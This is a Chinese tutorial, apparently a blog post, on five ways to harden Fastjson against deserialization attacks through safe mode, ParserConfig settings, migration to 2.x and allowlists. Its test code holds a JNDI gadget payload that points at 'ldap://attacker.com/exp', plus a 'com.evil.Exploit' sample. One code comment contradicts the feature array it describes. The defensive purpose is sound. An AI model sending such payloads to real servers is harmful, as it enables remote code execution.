Fastjson安全模式实战:5种方法彻底杜绝反序列化漏洞
2026/8/12 17:38:54 网站建设 项目流程

1. 为什么Fastjson的安全模式如此重要?

如果你在Java开发圈子里待过一段时间,肯定听过Fastjson的大名。它曾经是,现在也依然是国内Java生态中使用最广泛的JSON处理库之一,以其极致的序列化和反序列化速度著称。但伴随着高性能的,是一段堪称“血泪史”的安全漏洞史。从早期的1.2.24版本爆出第一个远程代码执行(RCE)漏洞开始,Fastjson几乎成了安全会议的“常客”,各种绕过补丁的利用方式层出不穷,让无数开发者和管理员心惊胆战。

我自己就亲身经历过一次。那是在一个深夜,监控系统突然告警,显示某台核心业务服务器的CPU使用率飙升到100%。排查后发现,一个对外提供JSON数据接口的服务,因为使用了旧版本的Fastjson处理不可信的HTTP请求体,被攻击者注入了精心构造的恶意JSON字符串,成功在服务器上执行了任意命令。虽然最终通过紧急下线、升级版本和修复代码控制住了局面,但那次事件带来的业务中断和数据风险,至今想起来都心有余悸。

所以,当Fastjson在后续版本中引入“安全模式(SafeMode)”这个概念时,我几乎是第一时间就去研究并应用到生产环境。简单来说,安全模式是Fastjson的一道“终极防线”。它通过一系列严格的限制,从根本上杜绝了基于特定类(如TemplatesImplJdbcRowSetImpl)和特定特征(如autoType)的反序列化攻击路径。开启安全模式后,Fastjson会变成一个“只读”的解析器,它只相信你明确告诉它可以信任的类,对于其他任何带有潜在风险的类名,一律拒绝反序列化。

这听起来很美好,但问题来了:怎么开?网上资料零散,官方文档语焉不详,不同版本、不同场景下的开启方式还各有不同。这就是为什么我把这些年踩过的坑、试过的方法,整理成了这份“VIP典藏版”指南。无论你是正在为历史遗留系统加固安全,还是在新项目中寻求最稳妥的JSON方案,这五种方法总有一种适合你。

2. 理解Fastjson安全模式的底层逻辑

在动手配置之前,我们必须先搞清楚安全模式到底做了什么。知其然,更要知其所以然,这样在遇到奇怪报错时,你才知道该往哪个方向排查。

Fastjson的反序列化漏洞,核心攻击路径是“AutoType”特性。为了将JSON字符串还原成复杂的Java对象(尤其是带有接口或抽象类型的对象),Fastjson需要知道目标类的具体类型。早期版本中,攻击者可以在JSON中通过@type字段指定一个危险的类(例如com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl),并精心构造该类的属性值,最终触发类加载、初始化或方法调用,达到执行任意代码的目的。

安全模式的本质,就是彻底关闭或严格管控AutoType。它不是一个单一的开关,而是一套组合策略:

  1. 禁用AutoType:这是最直接的方式。在安全模式下,Fastjson解析器会直接忽略或拒绝JSON中的@type字段,或者只允许反序列化为最基本的类型(如Map,List, 基本类型包装类)。
  2. 内置黑名单/白名单:Fastjson维护了一个内置的危险类黑名单。即使在某些配置下AutoType没有被完全禁用,黑名单上的类也绝对无法被反序列化。更安全的方式是使用白名单,只允许明确指定的、安全的类进行反序列化。
  3. 校验机制增强:对类名、构造函数、Getter/Setter方法进行更严格的校验,防止利用异常机制或特殊字符进行绕过。

不同版本的Fastjson,其安全模式的实现强度和默认行为是不同的:

  • Fastjson 1.x (<=1.2.83):安全模式相对薄弱,主要通过启动参数或代码设置一个safeMode属性。但历史上存在多个漏洞可以绕过安全模式,因此强烈建议升级。
  • Fastjson 1.2.84+:这是一个重要的安全加固版本。它引入了更严格的默认行为和修复了多个高危漏洞。在这个版本中,通过JVM启动参数开启安全模式是最重要且推荐的方式。
  • Fastjson 2.x:这是一个几乎重写的版本,在设计之初就将安全性放在了更高优先级。它的API和配置方式与1.x有较大差异,安全策略也更为完善和严格。

理解这些,你就会明白,为什么有时候仅仅在代码里ParserConfig.getGlobalInstance().setSafeMode(true)可能还不够,为什么必须结合JVM参数才能真正“锁死”安全防线。因为有些攻击链可能在Fastjson库自身初始化之前、或通过其他非常规的类加载路径就被触发了,代码层面的设置在那种情况下可能鞭长莫及。

3. 方法一:通过JVM启动参数全局开启(最推荐)

这是我最推崇,也是生产环境部署中最应该使用的方法。它的优势在于生效时机最早、作用范围最广、难以被业务代码意外覆盖

核心参数-Dfastjson.parser.safeMode=true

为什么它是最重要的?因为这个参数是在JVM启动时就被读取的,它会在Fastjson的任何静态代码块、任何单例初始化之前就生效。这意味着,无论你的应用代码在何处、以何种方式使用Fastjson(包括那些你无法直接控制的第三方库),只要它们运行在同一个JVM内,都会受到这个安全模式的约束。这相当于给整个JVM进程加了一把全局锁。

具体操作步骤:

  1. 定位启动脚本:找到你的应用启动脚本,可能是startup.sh,startup.bat,catalina.sh(Tomcat), 或者在IDE的运行配置、Dockerfile的ENTRYPOINT/CMD指令中。

  2. 添加JVM参数:在Java命令(通常是javajavaw)后面,添加-Dfastjson.parser.safeMode=true

    • Tomcat示例:修改catalina.shcatalina.bat,找到JAVA_OPTS环境变量设置的地方,添加进去。
      # Linux/Unix (catalina.sh) JAVA_OPTS="$JAVA_OPTS -Dfastjson.parser.safeMode=true" # Windows (catalina.bat) set JAVA_OPTS=%JAVA_OPTS% -Dfastjson.parser.safeMode=true
    • Spring Boot Jar包直接启动示例
      java -Dfastjson.parser.safeMode=true -jar your-application.jar
    • 在IDEA/Eclipse等IDE中运行:在运行配置的“VM Options”或“Program arguments”栏中添加该参数。
  3. 验证是否生效:启动应用后,可以通过一个简单的接口或测试代码来验证。

    import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONException; public class SafeModeTest { public static void main(String[] args) { String maliciousJson = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker.com/exp\",\"autoCommit\":true}"; try { Object obj = JSON.parse(maliciousJson); System.out.println("安全模式未生效!反序列化成功: " + obj); } catch (JSONException e) { // 期望抛出异常,例如:autoType is not support System.out.println("安全模式已生效!抛出异常: " + e.getMessage()); } } }

    如果安全模式生效,上述代码会抛出类似autoType is not support的异常,而不是静默地反序列化成功。

重要提示:在Fastjson 1.2.84及以上版本中,官方强烈建议使用此方式。有些文章提到的-Dfastjson.parser.autoTypeSupport=false等参数,其效果可能不如-Dfastjson.parser.safeMode=true彻底。请以安全模式参数为优先。

踩坑记录与心得

  • 容器化部署注意:在Kubernetes或Docker环境中,确保JVM参数正确传递到了应用容器内部。检查Deployment YAML文件中的spec.containers[0].argsspec.containers[0].env,确保参数被正确设置。
  • 与配置中心冲突:如果你的应用使用Spring Cloud Config等配置中心,且配置中心客户端本身使用了Fastjson,要确保配置中心客户端先于业务模块初始化,或者同样受到安全模式保护,否则可能在应用启动初期出现解析异常。
  • 效果绝对化:这个方法一旦生效,就是“一刀切”。任何需要AutoType特性的“合法”代码也会失效。如果你的老系统确实依赖AutoType来处理一些多态类型,你需要使用方法五(白名单)来替代,而不是关闭安全模式。

4. 方法二:在代码中设置全局ParserConfig(适用于可控的代码库)

如果你能确保应用内所有使用Fastjson的地方都共享同一个全局配置,或者你愿意在应用启动的入口处统一进行设置,那么通过代码配置也是一个清晰的选择。

核心代码

import com.alibaba.fastjson.parser.ParserConfig; public class FastjsonSecurityConfig { public static void init() { // 获取全局单例的ParserConfig并开启安全模式 ParserConfig.getGlobalInstance().setSafeMode(true); // 通常同时建议关闭AutoType支持,双重保险 ParserConfig.getGlobalInstance().setAutoTypeSupport(false); System.out.println("Fastjson全局安全模式已开启。"); } }

你需要在你应用的主入口、或Spring Boot的@PostConstruct方法、或**Servlet的ServletContextListener**中,尽早调用这个init()方法。

为什么是ParserConfig.getGlobalInstance()Fastjson的ParserConfig是控制反序列化行为的核心配置类。getGlobalInstance()返回的是一个全局单例。通过它进行的设置,会对后续所有使用JSON.parse()JSON.parseObject()等静态方法的调用生效(前提是它们没有显式传入自定义的ParserConfig)。

实操步骤与集成示例:

  1. Spring Boot应用启动类配置

    import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import com.alibaba.fastjson.parser.ParserConfig; import javax.annotation.PostConstruct; @SpringBootApplication public class MyApplication { public static void main(String[] args) { SpringApplication.run(MyApplication.class, args); } @PostConstruct public void initFastjsonConfig() { // 确保在Bean初始化早期执行 ParserConfig.getGlobalInstance().setSafeMode(true); ParserConfig.getGlobalInstance().setAutoTypeSupport(false); // 可以在这里添加自定义的白名单(见方法五) // ParserConfig.getGlobalInstance().addAccept("com.yourcompany.safe."); } }
  2. 传统Web应用(Servlet 3.0+)配置

    import com.alibaba.fastjson.parser.ParserConfig; import javax.servlet.ServletContextEvent; import javax.servlet.ServletContextListener; import javax.servlet.annotation.WebListener; @WebListener public class FastjsonSecurityListener implements ServletContextListener { @Override public void contextInitialized(ServletContextEvent sce) { ParserConfig.getGlobalInstance().setSafeMode(true); ParserConfig.getGlobalInstance().setAutoTypeSupport(false); sce.getServletContext().log("Fastjson全局安全模式已开启。"); } @Override public void contextDestroyed(ServletContextEvent sce) {} }

注意事项与局限

  • 生效时机:这种方式依赖于你的配置代码被执行的时机。如果第三方库在Spring容器初始化之前、或在你的Listener执行之前就使用了Fastjson,那么此时的全局配置可能还未生效,存在一个短暂的安全窗口期。因此,它的可靠性略低于JVM启动参数。
  • 局部覆盖风险:任何代码都可以通过new ParserConfig()创建一个新的、独立的配置实例,并在调用JSON.parseObject(String text, Class<T> clazz, ParserConfig config)时传入。这个局部配置不会继承全局配置的安全设置。如果项目中有这样的代码,安全模式对其无效。你需要审查代码,确保没有这种绕过行为。
  • 适用于模块化应用:在大型应用中,如果不同模块由不同团队维护,很难保证所有人都遵守“使用全局配置”的约定。此时,JVM参数是更强制性的选择。

5. 方法三:为每个反序列化操作指定配置(最灵活,也最繁琐)

对于某些特定场景,你可能希望对不同的反序列化操作应用不同的安全策略。这时,你可以为每次调用单独创建一个ParserConfig实例并进行配置。

核心代码示例

import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; public class SpecificParserDemo { public void parseSafely(String jsonString) { // 1. 创建一个新的、独立的ParserConfig实例 ParserConfig safeConfig = new ParserConfig(); // 2. 为此实例开启安全模式 safeConfig.setSafeMode(true); // 同样,建议关闭AutoType safeConfig.setAutoTypeSupport(false); // 3. 在反序列化时显式传入这个配置 // 示例:反序列化为一个安全的已知类型,如Map try { // 使用传入配置的parseObject方法 Object result = JSON.parseObject(jsonString, Object.class, safeConfig, JSON.DEFAULT_PARSER_FEATURE); // 或者,如果你知道具体类型,例如一个安全的DTO // MySafeDTO dto = JSON.parseObject(jsonString, MySafeDTO.class, safeConfig); System.out.println("安全解析结果: " + result); } catch (Exception e) { System.err.println("解析失败,可能触发了安全限制: " + e.getMessage()); } } }

适用场景分析

  1. 处理来自不同信任域的数据:你的应用可能同时处理来自内部可信RPC调用的JSON(需要反序列化复杂对象)和来自外部不可信HTTP接口的JSON。对于外部数据,你可以使用开启了安全模式的ParserConfig;对于内部数据,可以使用一个配置了精确白名单的ParserConfig
  2. 渐进式改造:在将一个大型老旧系统迁移到安全模式的过程中,你可以先从处理外部入口的、风险最高的代码处开始,逐个方法地替换为使用安全配置的解析方式,而不是一次性全局修改,降低改造风险。
  3. 第三方库不可控时:如果你使用的某个第三方库内部调用了Fastjson,但你无法修改其源码,也无法保证它使用全局配置。那么,在你的代码中,如果有可能,在调用该库方法前,临时替换全局配置(需谨慎,注意线程安全),调用后再恢复。但这是一种Hack手段,不推荐作为常规方案。

显著缺点

  • 代码侵入性强:需要在每个反序列化调用点添加配置代码,严重破坏代码的简洁性,增加维护成本。
  • 容易遗漏:在大型项目中,很难保证所有开发人员都记得并且正确使用这个模式,一旦遗漏一处,就是一个安全漏洞。
  • 性能考虑:频繁创建新的ParserConfig实例可能会带来微小的性能开销(虽然通常可忽略不计)。

因此,除非有非常特殊的、细粒度的安全策略需求,否则不建议将这种方法作为主要或唯一的防护手段。它更适合作为对方法一或方法二的补充,用于处理那些需要特殊对待的“角落案例”。

6. 方法四:升级到Fastjson 2.x并利用其默认安全增强

如果你的项目尚未被Fastjson 1.x深度绑定,或者你正计划进行技术栈升级,那么直接迁移到Fastjson 2.x是解决安全问题的一劳永逸的方案。Fastjson 2.x在架构上进行了重写,安全性是设计的核心考量之一。

Fastjson 2.x的安全改进

  1. 默认关闭AutoType:在2.x中,AutoType功能默认是关闭的,这从根本上改变了安全基线。你必须显式地、非常明确地开启它,并搭配白名单使用。
  2. 清晰的API分离:2.x将API分为了JSON(用于简单操作)和JSONB(用于高性能二进制序列化)。安全策略主要关联于反序列化操作。
  3. 更严格的校验:对类名、字段名、方法名的校验更为严格,减少了通过畸形输入进行攻击的可能性。
  4. 漏洞响应更快:Fastjson 2.x的维护和漏洞修复周期相对1.x更活跃。

如何在Fastjson 2.x中确保安全?

对于大多数只需要基本JSON解析的场景,你几乎不需要做任何额外配置,因为默认就是安全的。

// Fastjson 2.x 基本使用 (groupId: com.alibaba.fastjson2) import com.alibaba.fastjson2.JSON; import com.alibaba.fastjson2.JSONReader; import com.alibaba.fastjson2.JSONWriter; public class Fastjson2Demo { public static void main(String[] args) { // 序列化 - 和1.x类似,但包名和细微API可能不同 String json = JSON.toJSONString(new MyObject()); // 反序列化到具体类型 - 默认是安全的,不支持@type MyObject obj = JSON.parseObject(json, MyObject.class); // 如果你确实需要处理带有@type的多态JSON(来自可信源),必须显式配置Feature String jsonWithType = "{\"@type\":\"com.example.Animal\",\"name\":\"cat\"}"; try { // 不指定Feature,会直接报错 // Object o1 = JSON.parseObject(jsonWithType); // 报错 // 必须显式开启 SupportAutoType 特性,但这非常危险! // JSONReader.Feature.SupportAutoType 是一个枚举值,需要显式传入 Object o2 = JSON.parseObject(jsonWithType, Object.class, JSONReader.Feature.SupportAutoType); System.out.println("已开启AutoType支持,解析成功: " + o2.getClass()); } catch (Exception e) { System.out.println("默认安全,解析失败: " + e.getMessage()); } } }

安全实践建议(Fastjson 2.x)

  • 不要轻易使用SupportAutoType:除非你有绝对充分的理由(例如,必须反序列化来自完全可控的、内部服务的多态数据),否则永远不要在你的JSONReader配置中加入SupportAutoType这个特性。
  • 使用JSONReader.Feature.SupportClassForName替代(谨慎):如果必须处理类型信息,2.x提供了更可控的SupportClassForName特性,但它也必须与白名单结合使用。白名单可以通过JSONReader.getContext().config()来配置。
  • 关注版本号:即使使用2.x,也要保持版本更新。关注官方GitHub的Release Notes,及时修复已知漏洞。

迁移注意事项

  • API不兼容:Fastjson 1.x和2.x的包名和部分API不兼容(包名从com.alibaba.fastjson变为com.alibaba.fastjson2)。迁移需要修改import语句,并仔细测试所有JSON相关功能。
  • 性能与兼容性测试:2.x在性能和功能上可能与1.x有细微差异,务必在迁移后进行充分的集成测试和性能压测。
  • 依赖冲突:如果项目中还有其他依赖传递引入了Fastjson 1.x,需要使用Maven的<exclusions>或Gradle的exclude将其排除,防止版本冲突。

7. 方法五:配置精确的白名单(平衡安全与功能的终极方案)

“安全模式”是一把锁,把危险关在了门外。但有时候,我们自己的业务也需要带一些“安全的工具”进门。比如,你的系统设计里确实需要使用@type来实现多态,反序列化一些来自内部可信服务的、预先定义好的复杂对象体系。这时,完全禁用AutoType(安全模式)会阻碍业务功能。

白名单(Allow List)机制就是解决这个矛盾的钥匙。它的思想是:“我不相信所有人,我只相信我认识的人”。你明确告诉Fastjson,除了java.util.Map,java.util.List这些基础类型外,只允许反序列化com.yourcompany.dto.包下,或者com.thirdparty.safelib.包下的类。

在Fastjson 1.x中配置白名单

当安全模式开启或autoTypeSupportfalse时,你可以通过addAccept方法来添加白名单条目。白名单支持包名前缀匹配。

import com.alibaba.fastjson.parser.ParserConfig; public class WhitelistConfig { public static void configure() { ParserConfig config = ParserConfig.getGlobalInstance(); // 首先,开启安全模式或关闭AutoType(二选一或都做) config.setSafeMode(true); // 强烈建议开启 // config.setAutoTypeSupport(false); // 与setSafeMode(true)效果类似,可同时设置 // 然后,添加你的白名单 // 1. 添加整个包(最常用) config.addAccept("com.yourcompany.project.dto."); config.addAccept("com.yourcompany.project.model."); // 2. 添加具体的类(最精确) config.addAccept("com.thirdparty.library.SafeDataObject"); config.addAccept("com.anotherlib.ConfigItem"); // 3. 注意:内置的常见JDK和基础类型默认已在白名单中,无需添加 // 例如:java.util., java.lang., com.alibaba.fastjson. 等 System.out.println("白名单配置完成。"); } }

在Fastjson 2.x中配置白名单

2.x的API有所不同,白名单配置在JSONReader.Context中。

import com.alibaba.fastjson2.JSON; import com.alibaba.fastjson2.JSONReader; import com.alibaba.fastjson2.reader.ObjectReaderProvider; public class WhitelistConfig2 { public static void main(String[] args) { // 创建一个自定义的Feature数组,包含你需要的特性,但不包含SupportAutoType JSONReader.Feature[] features = { JSONReader.Feature.SupportAutoType // 注意:这里开启了AutoType支持,但必须搭配白名单! // 可以添加其他特性,如 FieldBased, IgnoreNoneSerializable 等 }; // 配置白名单 ObjectReaderProvider provider = new ObjectReaderProvider(); // 使用通配符配置包名前缀白名单 provider.addAutoTypeAccept("com.yourcompany.safe."); provider.addAutoTypeAccept("com.trusted.vendor."); // 创建带有自定义配置的JSONReader JSONReader.Context context = new JSONReader.Context(provider, features); // 使用这个context进行反序列化 String json = "{\"@type\":\"com.yourcompany.safe.User\",\"name\":\"test\"}"; try { Object obj = JSON.parseObject(json, Object.class, context); System.out.println("白名单内解析成功: " + obj); } catch (Exception e) { System.out.println("解析失败: " + e.getMessage()); } // 尝试反序列化一个不在白名单的类 String maliciousJson = "{\"@type\":\"com.evil.Exploit\",\"cmd\":\"calc\"}"; try { Object obj2 = JSON.parseObject(maliciousJson, Object.class, context); System.out.println("危险!不应该成功: " + obj2); } catch (Exception e) { System.out.println("成功被白名单拦截: " + e.getMessage()); // 期望抛出异常 } } }

白名单策略的最佳实践

  1. 最小化原则:白名单的范围要尽可能小。优先使用完整类名,其次才是包名前缀。避免使用过于宽泛的前缀,如com.org.
  2. 与安全模式结合:在Fastjson 1.x中,即使配置了白名单,也强烈建议同时开启安全模式(setSafeMode(true)。安全模式是底层保障,白名单是业务通道,两者结合最稳妥。
  3. 定期审计:将白名单列表作为代码的一部分进行管理。定期审查名单中的类是否仍然必要,移除不再使用的条目。新增加的DTO或模型类,需要经过评审才能加入白名单。
  4. 隔离不可信数据流:对于来自外部用户输入、网络爬虫、公开API接口的JSON数据,绝对不要使用配置了白名单(或开启AutoType)的解析器。对于这些数据,应坚持使用安全模式完全关闭AutoType,或仅反序列化为MapListString等安全类型,再进行业务逻辑处理。
  5. 测试验证:编写安全测试用例,尝试用不在白名单的危险类进行反序列化攻击,确保你的配置能正确拦截。

白名单是平衡安全与灵活性的高级手段,但它也增加了配置的复杂性和维护成本。对于绝大多数面向外部的Web应用,我的建议仍然是:首选全局安全模式(方法一),彻底关闭AutoType。只有在内部服务间通信、且有强类型契约的场景下,才考虑使用严格管理的白名单。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询